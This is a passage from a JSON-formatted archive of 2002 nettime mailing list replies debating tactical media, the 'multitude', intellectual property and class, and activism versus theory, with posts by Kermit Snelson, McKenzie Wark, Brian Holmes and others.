already a reality brought about by tactical media, and that\n\"what is to be done\" now is to bring this new social form \"down to the level\nof production\" by viewing this \"multitude\" as a producer of \"experimental\nknowledge\" whose \"algorithms\" must be encoded and decoded, all based on the\ncore realization that \"everyone is an expert.\"\n\nBut it's simply not true that \"everyone is an expert\", certainly not in any\ncase at the \"level of production\", and it's in this conception of the\nmultitude where I believe Geert and Florian's argument breaks down.  I have\nnever understood how the concept of \"multitude\" that Negri, joined by Geert\nand Florian, distinguishes from the \"masses\" by emphasizing the former's\nlack of a common trait, ideology or indeed any distinguishing idea at all\n[2], differs from the more traditional concept of \"mob\".  McKenzie Wark in\nhis response seems to pick up on this problem with Geert and Florian's\nargument, arguing that no \"digital multitude\" will be able to do \"what is to\nbe done\" without first achieving class consciousness based on a common\nunderstanding of its relation to the currently emerging forms of\nintellectual property law.  Whether or not MacKenzie's own rewrite of the\nCommunist Manifesto around IP law is the way forward, he is certainly right\nto insist that there's still something to the Marxist view that masses\ninfluence history only when formed by an idea.  Certainly more than Geert\nand Florian seem willing to credit, anyway.\n\nBut MacKenzie also fails to reach the heart of what's wrong with Geert and\nFlorian's argument.  Once again, I believe it lies near their idea that\n\"everyone is an expert.\"  To be sure, everyone is _potentially_ an expert.\nBut no one, not even a genius, becomes an expert without the training,\neducation and discipline necessary for creative and critical thought.\nTraining and education involve the mastery of rules, techniques and ideas.\nThey are what any human culture is all about.  On the other hand, it is\nimpossible to found a culture on despair, nihilism and a principled\nrejection of all ideas and debate, even if one chooses to call such an\napproach \"tactical media\", \"radical media pragmatism\" or even \"art\".  A \"new\nethical-aesthetic paradigm\" that consists of only consumption, shopping,\nIndymedia-style parasitism, electronic vandalism and other forms of\n\"negative thinking\" [3] will never do anything but provide the motor force\nof Empire.  This is what Hardt and Negri really meant by \"resistance is\nprior to power\" [4], concealing their real purpose in this instance not with\ntheir usual obfuscation, but with clarity.\n\nEmpire will be defeated not by applying the tools of mass psychology to\ncreate a \"multitude,\" but by educating ourselves and others so that such\ntools may be resisted.  We must cultivate our ability to propose answers,\nmake distinctions, construct coherent arguments, refine our concepts, inform\nour judgments and, yes, make moral choices.  Such abilities are the basis of\nany truly effective activism, just as they are the basis of any truly\neffective life.  Renouncing all these things and calling that \"liberating\"\nwill only ensure our slavery.\n\nThere is no knowledge to be decoded in mindless action, just as there is no\nfreedom in license.  Masses are creative and free; mobs are not. Konrad\nBecker's recent post to nettime notwithstanding, there's a radical\ndifference between propaganda and education.  The difference is precisely\nthat education allows one to challenge \"the submissive conditioning that\nprevents people from creating their own adventures,\" as Ken Knabb writes in\nthe passage I chose to open this post.  Mass propaganda techniques based on\na \"fascination for authoritarian models\" [5], even when wielded by\nwell-intentioned media activists, can accomplish only the opposite.\n\nKermit Snelson\n\nNotes:\n[1] Knabb, Ken; _The Relevance of Rexroth_, Bureau of Public Secrets,\nBerkeley, 1990, p.73\n[2] Cf. Hardt and Negri, _Empire_, p.103\n[3] Lovink, Geert, _Dark Fiber_, MIT, 2002, p.22; cf. Marcuse\n[4] Hardt and Negri, _op.cit._, p.360\n[5] Lovink, _op.cit._, p.26\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00014",
                        "date": "Mon, 4 Nov 2002 13:40:35 -0800",
                        "to": "<nettime-l {AT} bbs.thing.net>",
                        "message-id": "000b01c2844a$cee29f80$8956c33f {AT} pacbell.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0211/msg00014.html",
                        "content-type": "text/plai",
                        "author_name": "Kermit Snelson",
                        "subject": "Re: <nettime> From Tactical Media to Digital Multitudes"
                    },
                    {
                        "follow-up": [
                            {
                                "from": "n_ik <fragments {AT} va.com.au>",
                                "content": "\n<McKenzie Wark wrote>\n\n>He was wrong about a lot of things, but Marx did enjoin us to ask what he\n>called \"the property question\", and insisted that it was where the\n>critical spirit begins and ends. And what if we ask the \"property\n>question\" of the jumble of symptoms with which Lovink & Schneider confront\n>us? The network of power starts to reveal itself more clearly.\n>\n>Did the new movements arise out of thin air? Or did they arise out of a\n>new stage in the development of the commodity economy? At both the level\n>of the tools it had at its disposal, and the range of issues it\n>confronted, the new movement confronts a new class power. Only rarely is\n>this class power named and identified at an abstract level. The symptoms\n>of its (mis)rule have been charted by brave advocates and actvists. But we\n>are all merely blind folks touching different parts of an elephant and\n>trying to describe the totality from the detail we sense before us, in our\n>fragment of everyday life.\n\n\nI think the class struggle many 'counter-globalisation' protesters \nare engaged in is not so much a new class struggle but an age-old one.\n\nthe bulk of the actions that have taken place against the global \ninstitutions of capitalism in the last 5 or so years have taken place \nin the countries of the global South - Bolivia, South Africa, India, \nMexico - or in countries \"over the horizon\", out of site of CNN - \nSouth Korea etc. There isn't a single day where a protest, blockade, \noccupation, etc takes place against the array of institutions, \ncorporations and governments of the North.\n\nI would say that the overwhelming amount of protesters, activists, \nrevolutionaries, et al around the world are engaged with an old class \nworking through relatively new global mechanisms. The issues they \nhave been confronted with since the beginnings of colonisation and \nthen industrialisation are still very much the same - land, dignity, \nautonomy, freedom\n\nBut the main point I wanted to address is the question \"Did the new \nmovements arise out of thin air? Or did they arise out of a new stage \nin the development of the commodity economy?\". To which the short \nanswer is they arose out of a set of catalytic 'encuentro's' \norganised by the Zapatistas and then by string of international \nactions organised through the Peoples Global Action network=8A\n\n\n[from http://www/agp.prg]\n\n\"The sense of possibility that this uprising gave to millions of \npeople across the globe was extraordinary. In 1996, the Zapatistas, \nwith trepidation as they thought no-one might come, sent out an email \ncalling for a gathering, called an \"encuentro\" (encounter), of \ninternational activists and intellectuals to meet in specially \nconstructed arenas in the Chiapas jungle to discuss commontactics, \nproblems and solutions. Six thousand people attended, and spent days \ntalking and sharing their stories of struggle against the common \nenemy: capitalism.\n\nThis was followed a year later by a gathering in Spain, where the \nidea for the construction of a more action focused network, to be \nnamed Peoples' Global Action (PGA), was hatched by a group made up of \nactivists from ten of the largest and most innovative social \nmovements. They included the Zapatistas, Movimento Sem Terra, (the \nBrazilian Landless Peasants Movement who occupy and live on large \ntracts of unproductive land) and the Karnataka State Farmers Union \n(KRRS), renowned for their \"cremate Monsanto\" campaign which involved \nburning fields of Genetically Modified crops.\n\nThe group (who became the PGA convenors committee, a role that \nrotates every year) drafted a document outlining some of the primary \nobjectives and organisational principles of the emerging network. It \noutlined a firm rejection of appeals to those in power for reforms to \nthe present world order. A support for direct action as a means of \ncommunities reclaiming control over their lives, and an \norganisational philosophy based on autonomy and decentralisation. In \nFebruary 1998, Peoples' Global Action was born. For the first time \never the worlds grassroots movements were beginning to talk and share \nexperiences without the mediation of the media or Non Governmental \nOrganisations (NGO's).\"\n\nThe string of actions - that arguably gave birth the current 'wave' \nof actions and movements of movements - started in May 1998 with an \ninternational day of action against the world bank. This was quickly \nfollowed by an 'intercontinental caravan' that traveled through \nEurope, and he 'J18' international day of action [you can read the \nreports here: \nhttp://www.nadir.org/nadir/initiativ/agp/free/global/j18.htm]. The \nnext on the list of actions was N30 - or what CNN dubbed 'Seattle'\n\nNow, I'm not just nit-picking here. Its important to remember what \nhas come before - especially the histories of resistance. Its \nsaddening to note that the 'counter-globalisation' movements, with \ntheir histories bound up with those of the Zapatistas - the ones who \nreminded us that remembering is a weapon - can be turned from an \ninternational network and a series of projects based on decentralised \nand confrontational actions into 'Seattle' - into a singular movement \nborn from a city at the heart of Empire. Or at least that its \nmythology - one of its most potent weapons - can be so easily blunted \nby a TV camera, and that the faces of resistance can be so easily \nobscured.\n\nAnd I think its not just the richness of the histories that this \nchange obscures - it is also the vastness of the alternatives that it \nis throwing up that is obscured. Its not true that they don't offer \n'alternatives' the current order of things. From farming methods, to \ncommunal land use, to systems of regional autonomy to mixed economies \nand markets, new mythologies and way of interacting with each other, \nfrom new media forms, and rich systems of participatory decision \nmaking to the rediscoveries of ways of community /barrio governance - \nthe counter-globalisation movements, while not presenting programs \nfor change, are most definitely creating 'the new in the old'.\n\nThe question as I see it is \"can the strategy of the 'new in the old' \nwork on a large enough scale?\". Are the networks strong enough to \nfight these institutions, the corporations, and the governments of \nthe North and win? Or will it all have to collapse before change can \nbe made?\n-- \n\n\n           + since I refuse 'reality' and since for me what is \npossible is already partly real, I am indeed a utopian ... a partisan \n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                                "id": "00009",
                                "date": "Mon, 4 Nov 2002 12:35:55 +1100",
                                "to": "nettime-l {AT} bbs.thing.net",
                                "message-id": "f05111b08b9eb75bc5d98 {AT} [192.168.0.35]",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-0211/msg00009.html",
                                "content-type": "text/plai",
                                "author_name": "n_ik",
                                "subject": "Re: <nettime> From Tactical Media to Digital Multitudes"
                            }
                        ],
                        "from": "\"McKenzie Wark\" <mckenziewark {AT} hotmail.com>",
                        "content": "\n\nLovink and Schneider ask the right question in 'A Virtual World is\nPossible'. What is to be done? Unfortunately, they have not done it. Yes,\nthere is a need for a political position outside of the dialectic of the\nstreet and cyberspace. Yes, there is a need for a new position for new\nmedia outside of the dialectic of the media market and the art market. And\nyes, the place to look is in deconstructing the techno-libertarian\nideologies of the 90s. But what is required at this juncture is a tool\nwith which to prise it open to discover how it worked.\n\nHe was wrong about a lot of things, but Marx did enjoin us to ask what he\ncalled \"the property question\", and insisted that it was where the\ncritical spirit begins and ends. And what if we ask the \"property\nquestion\" of the jumble of symptoms with which Lovink & Schneider confront\nus? The network of power starts to reveal itself more clearly.\n\nDid the new movements arise out of thin air? Or did they arise out of a\nnew stage in the development of the commodity economy? At both the level\nof the tools it had at its disposal, and the range of issues it\nconfronted, the new movement confronts a new class power. Only rarely is\nthis class power named and identified at an abstract level. The symptoms\nof its (mis)rule have been charted by brave advocates and actvists. But we\nare all merely blind folks touching different parts of an elephant and\ntrying to describe the totality from the detail we sense before us, in our\nfragment of everyday life.\n\nSo let's ask the property question of all the fragments of resistance that\nappear to us in everyday life. Start in the underdeveloped world. How is\nit possible that the productive engines of commodity society find\nthemselves shipped, by and large, out of the overdeveloped world and into\nthe under- dveloped world? What new power makes it possible to consign the\nmanufacturing level of production to places deprived of technical and\nknowledge infrastructure? A new division of labour makes it possible to\ncut the mere making of things off from all of their other properties. The\nresearch, design and marketing will remain, on the whole, in the over-\ndeveloped world, and will be protected by a new and increasingly global\nregime of property, intellectual property. As for the rest, whole\ncontinents can compete for dubious honour of mere manufacturing.\n\nWhat makes this separation possible is at one and the same time a legal\nand a technical distinction. Information emerges as a separate realm, a\nworld apart as Lovink has perceptively argued for some time. But he has\nnot stopped to inquire is to how or why, and without first asking how or\nwhy we cannot get far with the big question,: what is to be done. So let's\nlook closely at the way the development of a *vectoral* technology has\nmade possible a relative separation from its materiality. Which is not to\nsay that information is immaterial. Rather, it has an *abstract* relation\nto the material. It no longer matters to its integrity as information\nwhether it is embodied in this cd-rom or that flashcard or that stack of\npaper.\n\nA virtual world is indeed possible, precisely because of this coming into\nexistence of abstract information. But what is information? The product of\na labor of encoding and decoding. Just as the commodity economy made\nmanual labor abstract in the machine age, so too it has made intellectual\nlabor abstract in the information age.\n\nBut the virtual world finds itself constrained by a form of property alien\nto it. No longer confine to a particular materiality, information really\ndoes yearn to be free. But it is not free, it is everywhere in chains. It\nis forced into the constraint of a very new creation -- intellectual\nproperty. On the ruins of the commons that copyright and patent were once\nsupposed to guarrantee arises an absolute privatisation of information as\nproperty.\n\nAnd so, with a whole new -- virtual -- continent to claim as its own,\nclass power finds a new basis, and remakes that other world, the everyday\nworld, in its image. The abstraction of information from materiality as a\nlegal and technical possibility becomes the shape of the world. A world in\nwhich the mere embodiment of a concept in a commodity can be consigned to\nbidding wars between the desperate.\n\nThis bifurcation affects both the agricultural and the manufacturing\neconomies. The patents on seed stocks are of a piece with the copyrights\non designer logos. Both are a means by which a new class power asserts its\nplace in the world, based not on the ownership of land or of physical\nmaunfacturing plant, but in the concepts and designs on which the world\nwill be set to labour.\n\nIn the overdeveloped world, one discovers symptoms of the same emerging\ntotality. Workers in manufacturing struggle to hang on to jobs in an\neconomy that they alone are no longer the only ones equipped to do. So\ncalled 'state monopoly capital' is a mere husk of its former self. The\nemerging class interest has a very different relation to the state.\n\nMeanwhile, there are the various phenomena of the 'new economy'. While the\nbubble may have burst, there is a risk in too low an evaluation of the\nsignificance of the media and communication revolution as an over reaction\nto the excessive optimism of the 90s. Just as railways and the telegraph\ncreated a boom and bust, but also created an enduring geography of\neconomic and strategic power, so too has the latest, digital, phase in the\ndevelopment of the vector.\n\nOne should not right off the military dimension to the new class power\nquite as readily as Lovink and Schneider do, either. On the one hand it is\nthe old oil-power politics. But there is a new dimension, a new confidence\nin the ability to use the new vectoral military technologies as a cheap\nand efficient way of achieving global redistirbutions of power. The same\nabstraction of information from materiality that happens in technology and\nis sanctioned by intellectual property law is happening in military\ntechnology. The military wing of the new class interest wants a 'new' new\nworld order to ratify its exercise.\n\nThis is not your grandparents ruling class we are confronting here. It is\na new entity, or a new entity in formation. Perhaps it is a new fraction\nof capital. Perhaps it is a new kind of ruling class altogether. Remember,\nthere have been two, not one but two, phases to rule in the commodity\neconmy era. It has already passed through an agricultural and a\nmanufacturing phase. In each case it developed out of the a distictive\nstep in the abstraction of property law. First came the privatisation of\nland, and out of it a landlord class. Then came the privatisation of\nproductive resources, a more mobile, labile kind of property, and a new\nruling class -- the capitalist class proper. And perhaps, with the\nemergence of the new global regime of intellectual property, we witness\nthe emergence of a new ruling class, what I would call the vectoralist\nclass.\n\nAs each ruling class is based on a more abstract form of property, and a\nmore flexible kind of vector, than its predecessor, its mode of ruling\nalso becomes more abstract, more intangible. Its ideologues would love to\npersuade us that the ruling class no longer even exists. And yet its\nhandiwork are everywhere, in the subordination of the underdeveloped world\nto new regimes of slavery, to the slow motion implosion of maunfacturing\neconomy in the overdeveloped world, to the deployment of ever faster, ever\nsleeker vectors along which ever more abstract flows of information\nshuttle, making the world over in the abstract image of the commodity.\n\nAnd what is to be done? One does not confront the new abstract totality\nwith rhetorics of multiplicity alone. Rather, one looks for the\nabstraction at work in the world that is capable of producing such a\nmultiplicity of everyday experiences of frustration, boredom and\nsuffering. One asks the property question, and in asking it is lef toward\na practice that constitutes the answer.\n\nThis is where so-called new media art has proven to be both so useful at\ntimes, but so willing to cooperate in its own cooptation. When artists\nexplore not just the technology, but its property dimension as well, then\nthey create work that has the capacity to point beyond the privatisation\nof information that forms the basis of the power of the vectoral class.\nThe new media art that matters is counter-vectoral. It offers itself as a\ntool for prising open the privatisation of information.\n\n\"Information merely circles in a parallel world of its own\", as Lovink and\nSchneider say, precisely because of the abstraction it undergoes when it\nbecomes vectoral. The counter-vectoral reconnects information to the\nmultiplicity by freeing it from the straightjacket of private property.\nIndeed, there can be no talk of 'multitude' until this aspect of its\nexistence is properly understood. Multitudes do not exist independently of\ntheir means of communication. The freeing of that means of communication\nfrom the abstraction of the commodity form is the necessary step towards\nrealising the counter-abstraction that is latent in the formal concept of\nthe multitude. A virtual world -- virtual in the true sense -- is indeed\npossible. It is what is to be done.\n\nMcKenzie Wark\nsee also:\nA hacker manifesto\nhttp://subsol.c3.hu/subsol_2/contributors0/warktext.html\n\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00003",
                        "date": "Sat, 02 Nov 2002 01:26:33 -0500",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "200211021411.gA2EBbV10122 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0211/msg00003.html",
                        "content-type": "text/plai",
                        "author_name": "McKenzie Wark",
                        "subject": "Re: <nettime> From Tactical Media to Digital Multitudes"
                    },
                    {
                        "from": "\"McKenzie Wark\" <mckenziewark {AT} hotmail.com>",
                        "content": "\n\n\nn_ik makes the valuable point that class struggle in most\nof the world appears not to be about information, but to be\nabout land. Indeed, the *first*, not the second or the third,\nmoments of commodification is very much in progress. For\nmany people the expropriation of their communal land\nrights is their direct experience of commodification, in\nterms of what it takes from them.\n\nHowever, i think this process is overlaid by two other\nmoments of commodification: indistrialisation, or the\ncommodification of fungible productive resources, but\nalso vectoralisation, or the commodification of\ninformation and its means of abstraction, the vector.\n\nIf one breaks it down thus, one can use this distinction as\nan analytic for thinking about possible alliances, and\npossible conflicts, between the subordinated classes\nin each of the three distinct circuits of commodification.\n\nIt seems to me greatly clarifying to think about a\ncomplex articulation of class struggles, than to posit\na 'multitude' arraigned against 'globalisation', where\nneither of those terms have much historical analytic\nspecificity.\n\nOne can certianly trace a very significant movement that\narises out the Zapatista experience, but it might be a\nbit limiting to restrict one's sense of a counter history to\nthat one strand. Or to ignore how much that movement\nowed to an emergent information environment, both\nin terms of what it contronted and what it was able to\nuse as vector for 'counter-global' (call it what you like)\nformation.\n\nk\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00015",
                        "date": "Mon, 04 Nov 2002 13:38:26 -0500",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "F430bxmZgvewuxCgB4H00012508 {AT} hotmail.com",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0211/msg00015.html",
                        "content-type": "text/plai",
                        "author_name": "McKenzie Wark",
                        "subject": "Re: <nettime> From Tactical Media to Digital Multitudes"
                    },
                    {
                        "from": "Are Flagan <areflagan {AT} artpanorama.com>",
                        "content": "\nTo have multitudes, then, we need a gathering idea for them, which quickly\nbrings us back to the proverbial Catch 22. The first symptom of this\nstalemate conundrum is arguably how it is theorized here. Operatives like\nleft and right, mass and mob, network and empire are passive placeholders\nfor multitudes that are conveniently pushed around into pigeonholes carved\nby persuasive rhetoric, as if they were not already deeply conflicted\n\"multitudes\" themselves. This is of course how one traditionally arrives at\na general idea about the specific, tellingly called theory from its Greek\nroot. The first step toward the stated aims must surely be to cease this\nnonsense and interject on less grandiose terms. As one of the heralded beats\nremarked on leave from the asylum: \"A star is as far as the eye can see and\nas close as my eye is to me.\"\n\n-af\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00020",
                        "date": "Tue, 05 Nov 2002 12:20:26 -0500",
                        "to": "<nettime-l {AT} bbs.thing.net>",
                        "message-id": "200211060910.gA69A3S21824 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0211/msg00020.html",
                        "content-type": "text/plai",
                        "author_name": "Are Flagan",
                        "subject": "Re: <nettime> From Tactical Media to Digital Multitudes"
                    },
                    {
                        "from": "\"porculus\" <porculus {AT} wanadoo.fr>",
                        "content": "\n> I always pay particular attention to messages from Kermit Snelson and\n> Brian Holmes because I like where each of them is coming from.  I have\n> pursued this sense of an affinity with each of them off the list. So when\n> Brian takes umbrage at Kermit's last post in this thread, I feel compelled\n> to enter the fray.\n\nbeing an heavy full of multitude beer earthling and dealing rather with fold\nkinda deleuzian one at chin & belly for recognizing my buds at the bar i am\npretty amusing by some intellectual folklorik description of some impalpable\nanima who are meeting around here. yes i speak about projective body you\nhave.. cause of course presently you 'see' me..& yes and see i am rather\nattracting and modeling by the apolinian lightning force, then kermit &\nbrian are rather twining in some laurel & hardy brain shape ok ok ! the\nworld is a vast land populated by so diverse knitting dark fiber female &\nmale parishioner. but what about yourz..i would say, dark fiber made panz\nfree ?\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00027",
                        "date": "Fri, 8 Nov 2002 14:22:33 +0100",
                        "to": "\"nettime\" <nettime-l {AT} bbs.thing.net>",
                        "message-id": "200211090024.gA90OY113260 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0211/msg00027.html",
                        "content-type": "text/plai",
                        "author_name": "porculus",
                        "subject": "Re: <nettime> From Tactical Media to Digital Multitudes"
                    },
                    {
                        "from": "Keith Hart <HART_KEITH {AT} compuserve.com>",
                        "content": "\n\nI always pay particular attention to messages from Kermit Snelson and\nBrian Holmes because I like where each of them is coming from.  I have\npursued this sense of an affinity with each of them off the list. So when\nBrian takes umbrage at Kermit's last post in this thread, I feel compelled\nto enter the fray.\n\nMax Weber wrote two great essays called \"Science as a vocation\" and\n\"Politics as a vocation\". He argued that a scientist must privilege\nreason, but good scientists are usually ethusiasts; whereas politicians\nmove people by passion, but their arguments are more persuasive if they\nare reasonable. Despite this overlap, it is hard to be both a scientist\nand a politician at the same time. Weber was chief organiser of German\nsociology, a failed Liberal MP and an adviser to the Kaiser's wartime\ncabinet. He was also a depressive who knew about the psychological\npresures of trying to unify the two sides of his personality.\n\nWhat I like about Kermit's messages is their intellectual clarity. It is\ntrue that there is scholarship in them, but what impresses me is their\nquality of reasoning. It does not seem fair to me to ask him to justify\nthese interventions in terms of a logic of political activism. I know that\nthe politics of Karl Marx and Walter Benjamin are long dead, unrealised.\nBut their contributions to the ongoing human conversation about a better\nworld still inspire us. Do I care about their skills in mobilising people\nto man the barrivcades? Not really. It is the quality of their thinking\nthat is moving.\n\nMaybe that makes me an intellectual more than a political activist. But it\nis clear that the people who matter were motivated by both concerns. I\ncan't imagine that Kermit would be on this list unless he cared about the\npolitical troubles of our day, whether or not he goes out into the streets\nto get people committed to a cause. Equally, having read and studied all\nof Brian's contributions to this list, I find his intellectual and\npolitical visions equally inspiring. He wants things to get better soon,\nbut he has put in some spadework on how to think about that. Maybe there\nis more feeling in his posts than Kermit's. But surely there is room for\nall of us in this game. Why attack a blatant intellectual for saying that\nhe sees some flaws in the arguments of Geert and Florian?\n\nI should add a footnote on Polanyi, since Brian brought him up, not for\nthe first time. This is not just a scholastic intervention. Polanyi, in\nThe Great Transformation (1944), said that land, labour and capital were\nfictitious commodities. A commodity is something produced and sold. But\nnature, humanity and society (money) are not produced and therefore cannot\nbe sold. If they are, something terrible happens to the relationship\nbetween society and nature, as formulated by Aristotle when he said that\nman is a political animal. The self-regulating market, as an utopian idea,\nijnevitably inflicts damage on nature, humanity and society. Particular\nclasses express resistance to that general damage.\n\nWhat this has to do with multitudes and mobs I cant guess. I prefer\nEnglish words of one syllable (expressing the idea of mobility) to Latin\nwords of three syllables (expressing the poetry of an intellectual class).\n\nKeith Hart\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00028",
                        "date": "Thu, 7 Nov 2002 16:57:04 -0500",
                        "to": "nettime <nettime-l {AT} bbs.thing.net>",
                        "message-id": "200211081336.gA8DaxV30694 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0211/msg00028.html",
                        "content-type": "text/plai",
                        "author_name": "Keith Hart",
                        "subject": "Re: <nettime> From Tactical Media to Digital Multitudes"
                    },
                    {
                        "from": "Are Flagan <areflagan {AT} artpanorama.com>",
                        "content": "\nOn 11/7/02 5:09, \"Brian Holmes\" <brian.holmes {AT} wanadoo.fr> wrote:\n\n> We \n> intellectual laborers definitely have some scores to settle with\n> finance capital and IP, and those are important struggles, for sure.\n> But let's try and keep our intellectual eyes open for the ways that\n> everyone else is living too.\n\nThe first score is of course how \"we\" are going to get paid for \"our\" work\nas \"intellectuals.\" Our plan of action must be to isolate certain points and\nmake them scarce by attributing them to the select few that pose as useful\nauthorities on worthwhile topics. Let us further form close links where we\nquote each other ad infinitum to create the domino effect where arguments\nfall real nice and everyone included in the chain reaction make perfect\nsense. Oh, and we will of course embrace everything and everyone in our\narguments, so the process should in no way be considered exclusive or\nexclusionary (although some _obvious_ exceptions will me made, based upon\nour consensus). This is not to say that I don't hungrily read or (dis)agree\nwith you, but not so deep down I know that theory is some bullshit corner I\npaint myself into and admire the view.\n\nWhat happened to AIDS activism (re: GB words)? If I may reinterpret some of\nthe sentiments about gay activism put forward by Crimp in Melancholia and\nMoralism; it is not just the case that it died as a result of gay\nneo-conservatives hijacking its agenda and thereby gaining the mainstream\nappeal that eventually defused it. The melancholia part relates to an inward\nmourning of its own potential; the loss of its own future as a culture of\nsexual possibility. Activism, in other words, grew to the point where it\nlost momentum and turned on itself as a melancholic impulse directed toward\nits past. My metaphoric guess is that the AIDS quilt can be seen as a\npivotal moment, where this particular movement reached a critical mass in\nthe west and individuation no longer mobilized but returned to alienation\nand loss. The from-to implications in the subject heading of this thread may\nsignal a similar moment for \"new media.\"\n\nJust listen to what people are saying; the post are infused with melancholy,\nfor what never was and what is taken away. There are reasonings for hope not\nimpulsive calls for action. So GB's invite for documentary and poetry to\nfuse, following the formula for a.g. intervention through formal invention,\nis the proven antidote to such a lethargic moment, and it deserves a little\nmore than an emoticon smirk, despite its predictability. It also asks for\ntheory to examine its boundaries and to think rather than quote. To\nrejuvenate the grassroots, we don't necessarily have to hose the lawn with\nanother dose of Empire. Activism moves from the specific to the general and\ndies.\n\nI know it scares me that some deadbeat drunk [sorry, Mr. Corso] with an\nasylum record can capture more insight in a few stanzas than a whole legion\nof decorated laureates can in a whole library. To overcome such fears is the\nbreach of theory. \"Our\" work as \"intellectuals\" is then done. \"We\" can move\non.\n\n-af \n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00032",
                        "date": "Thu, 07 Nov 2002 13:37:33 -0500",
                        "to": "nettime <nettime-l {AT} bbs.thing.net>",
                        "message-id": "200211072325.gA7NPlu09767 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0211/msg00032.html",
                        "content-type": "text/plai",
                        "author_name": "Are Flagan",
                        "subject": "Re: <nettime> From Tactical Media to Digital Multitudes"
                    },
                    {
                        "from": "Brian Holmes <brian.holmes {AT} wanadoo.fr>",
                        "content": "\nHere's some thoughts about various contributions to this thread, \nquite a useful one for me anyway, which David Garcia has now about \ncapped off by contributing Gregg Bordowitz's insightful and even \nrevolutionary reflections on AIDS and globalization. While awaiting \nthe fusion of documentary and poetry :)\n\n1.\nKermit really doesn't like the slogan \"everyone is an expert\":\n\n...no one, not even a genius, becomes an expert without the training, \neducation and discipline necessary for creative and critical thought. \nTraining and education involve the mastery of rules, techniques and \nideas.... it is impossible to found a culture on despair, nihilism \nand a principled rejection of all ideas and debate, even if one \nchooses to call such an approach \"tactical media\", \"radical media \npragmatism\" or even \"art\". [snip]\n\nKermit, sometimes I wonder if you do any political organizing? You \nknow, it might be great if leftists could only associate with people \nwho had a clear sense of self, sharply honed critical faculties, a \ngood background knowledge of all the issues, sound moral reflexes and \na sense of coherency in their actions. Trouble is, these days that \nlist of qualities probably better describes the majority of American \nvoters who just gave Bush a mandate for holy war. \"Negative thinking\" \nis a philosopher's word for the difficult attempt to resist a badly \noriented rationality, a predatory individualism, a malevolent \ndiscipline. But the sources of effective resistance don't just come \nfrom philosophy: they also come from the fringes of alienation and \nanger and despair, from the insights of artistic experience, from the \nsudden enthusiasms of technological change, sometimes from more \nobscure rejections of the status quo. One of the main issues today is \nthat the majority of the \"experts\" never question the holy mantra of \neconomic growth, or the unspoken credo of racist exclusion. Somehow \nthat expertise has to be challenged, it's urgent. What Geert and \nFlorian are doing is not just armchair resistance, they're trying to \ngive fairly large numbers of people a possible way into political \nlife, which is always about debate, even when that debate takes the \nform of a riot or a hacker attack. Did you ever stake your own \nphysical freedom on an issue? Do you think someone who does might \nalso have principles? The main thing right now is not to diss \neveryone off and claim the high ground. I mean, I appreciate your \nscholarship and also that you even take the time to apply it to what \nwe're talking about here. What's dismaying, generally, is that the \nminority concerned about something other than their own greed spend \nhalf their time fighting with the people on their own side. We could \nuse some subtler criticism.\n\n2.\nI really liked Nik's post in this thread, recalling the role that the \nPGA and all the social movements associated with it have played in \nputting a new critique of capitalism seriously on the table. In the \nabsence of that history and that continuing reality there would be no \nsocial forums, just a complicit center left waiting to cave in and \nabandon everything. Without a few principled riots the critique would \nhave remained so \"reasonable\" that it'd just be contemplative \nnostalgia from a bunch of well-heeled artists, old profs or has-been \ncommunists. If you have problems with armchairs and you're not \ntotally hooked on computer screens, check out the PGA for a change. \nI've found those meshworks to be the best way for me personally to \nexperience and develop the kind of global cooperativity and \nsolidarity that's going to be a broad basis of real resistance, as \nthe days get darker and all of this bullshit economic crisis goes on \nwrecking people's lives.\n\n3.\nI also liked the way 